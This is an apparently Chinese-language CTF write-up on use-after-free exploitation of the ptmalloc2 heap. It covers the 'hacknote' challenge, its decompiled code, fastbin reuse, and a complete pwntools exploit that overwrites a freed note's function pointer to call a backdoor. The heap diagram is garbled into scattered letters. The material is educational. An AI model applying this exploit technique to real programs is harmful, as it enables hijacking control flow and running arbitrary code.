Pwn Ptmalloc2 User After Free

注意
本文最后更新于 2022-08-03,文中内容可能已过时。

UAF 和 off-by-one 一样, 不太像是堆管理器的漏洞, 所以算是比较好学的?

Use After FreeUAF 就是字面意思. 当 free 掉了一块内存后, 但是指针没有设置为 NULL, 这时, 如果再堆这块内存进行操作, 就很可能造成程序的崩溃. 或者如果这块内存又被分配到了其他地方, 那么这个指针对这块内存进行操作, 就可能会改变内存, 达到一些其他效果.

一般利用 UAF, 就是先 free 掉一块内存, 然后 alloc 另一块, 使其重叠或者重复, 这样就有两个位置可以写入数据, 达到利用的效果.

32 位 ELF, 没有 PIE. 逆向过程省略.

菜单题:

1
2
3
4
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");

note 的结构如下:

1
2
3
4
5
struct Note
{
  void (__cdecl *put)(struct Note *);
  char *content;
};

add_note:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int add_note()
{
  struct Note *note; // ebx
  int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf[8]; // [esp+14h] [ebp-14h] BYREF
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( count <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !notelist[i] )
      {
        notelist[i] = (struct Note *)malloc(8u);
        if ( !notelist[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        notelist[i]->put = print_note_content;
        printf("Note size :");
        read(0, buf, 8u);
        size = atoi(buf);
        note = notelist[i];
        note->content = (char *)malloc(size);
        if ( !notelist[i]->content )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, notelist[i]->content, size);
        puts("Success !");
        ++count;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

count 和 notelist 都是全局变量. 可以看到, 一共有可以添加 5 个 note, 首先把 put 函数指针设为 print_note_content, print_note_content 如下:

1
2
3
4
void __cdecl print_note_content(struct Note *note)
{
  puts(note->content);
}

然后读取 size, content = malloc(size), 再写入 content.

del_note:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int del_note()
{
  int index; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  index = atoi(buf);
  if ( index < 0 || index >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[index] )
  {
    free(notelist[index]->content);
    free(notelist[index]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

输入下标, 然后判断该位置是否有内容, 有的话就 free 掉 note 结构体和其中的 content. 但是, 未将 notelist[index] 设置为 NULL. 存在 UAF 漏洞.

print_note:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
unsigned int print_note()
{
  int index; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  index = atoi(buf);
  if ( index < 0 || index >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[index] )
    notelist[index]->put(notelist[index]);
  return __readgsdword(0x14u) ^ v3;
}

打印对应的 content. 不过, 打印的方法是 调用 put 函数指针指向的函数.

还有个后门函数:

1
2
3
4
int magic()
{
  return system("cat flag");
}

由于没有 PIE, 所以我们可以尝试利用 UAF, 将某一个 note 的 put 设置为 magic 的地址, 然后 print_note, 得到 flag.

由于存在 bin 的机制, 当 free 掉了一块 size 大小的 chunk 后, 再申请相同大小的 chunk, 会得到相同位置的 chunk. (具体看堆管理器的机制) 那么我们如果可以将某一块 note 的结构 free 掉, 然后在申请其他 note 的 content 的时候, 申请到这个 note 的结构, 这样就可以改变 note->put 的值了. 由于 UAF, 这个被 free 过的 note 其实还是可以 print_note 的.

可以这样构造:

先 add 两个 note, content 的大小和 note 的 chunk 不一样 (note 是 0x8 + 0x8 = 0x10, 已经是最小的 chunk 了, 那 content 可以选择更大的 size). 然后 free 掉这两个.

此时堆如下:

p p p p r c r r c r s e o s e s e o s e i _ n p i _ i _ n p i _ z s t u z s z s t u z s e i e t e i e i e t e i z n z z n z e t e e t e c c o n o n n o n o t t t t e e e e n n t 1 t 0 1 0

这样, 这四块 chunk 都被丢进了相应的 bin 里. 下次申请 chunk 的时候, 如果有合适的, 就直接申请到这部分了.

需要注意的是, 0x10 大小的 chunk 会放在 fastbin 里, fastbin 是 FILO.

然后, 再 add_note, content 的大小是 0x8. 加上 header, 就是 0x10 的 chunk. 这样, notelist[2] = (struct Note *)malloc(8u); 会得到 notelist[1] 相同的值 (如果先 free note 0, 再 free note 1, 那么由于 fastbin 的 FILO, 会申请到 note 1 对应的地址), note->content = (char *)malloc(8); 时, 会从 bin 里找有没有 0x10 大小的 chunk, 正好, note 0 对应的 chunk 就有. 于是, notelist[2]->content 的值就和 notelist[0] 一样了.

接下来输入 content 的内容, 就可以修改 note 0 的 put 了. 改为 magic 的地址.

由于 note 0 的指针还在, 也就是 notelist[0], 接下来 print_note 0, 就调用了 magic 函数. 执行了 system(“cat flag”) 了.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

context(log_level='debug')
r = process('./hacknote')

def addnote(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))


def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

magic = 0x08048986
addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1

delnote(0) # delete note 0
delnote(1) # delete note 1

addnote(8, p32(magic)) # add note 2

printnote(0) # print note 0

r.interactive()

几乎一模一样. 先咕.

c++ uaf, 涉及到函数虚表的内容, 先咕.